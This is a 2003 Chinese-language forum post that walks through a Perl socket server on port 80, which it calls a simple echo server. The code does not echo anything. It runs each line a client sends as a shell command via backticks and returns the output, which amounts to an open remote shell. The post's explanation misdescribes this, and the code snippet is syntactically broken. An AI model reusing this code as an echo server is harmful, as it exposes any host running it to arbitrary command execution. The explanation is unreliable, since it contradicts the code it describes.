|
发表于 2003-5-31 13:42:22
|
显示全部楼层
这是一个很基本的client-server问题的echo server 部分,就是:
client sent: Hello World!
Server reply:Hello World!
etc,
当client sent: exit,就终止程序
my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' , 'LocalPort'=>80 , 'Listen'=>1 , 'Proto'=>'tcp' , 'Reuse'=>1 ); ==>获得一个Internet,tcp可以reuse,可以listen的 socket
while (my $new_socket = $socket->accept()
server进入accept loop,等待客户(client)的请求,同时获得一个listen socket.
while (my $buffer=<$new_socket> ) {
if ($buffer) {exit if ($buffer=~m/exit/);
$res_msg=`$buffer`;$res_msg="error command!!\n" if (!$res_msg);
print $new_socket $res_msg."\n";]}
如果新建的listen socket 中有东东,放到buffer里,如果buffer 里的东东是
"exit"string,就exit 这个程序,否则的话,就把buffer 里的东东放入一个
变量$res_msg,如果这个变量$res_msg里没有什么东东,就在这变量里放"error command!",如果这个变量$res_msg里确实有东东,把这变量里的东东用listen
socket 送回 client端.
这个程序没用fork,没用thread,没用select,所以只能和一个客户连接,而且当
client说"exit",server,也就exit 了.
是不是很罗嗦,我也觉得是,所以不说了.
Cheers.
nancen |
|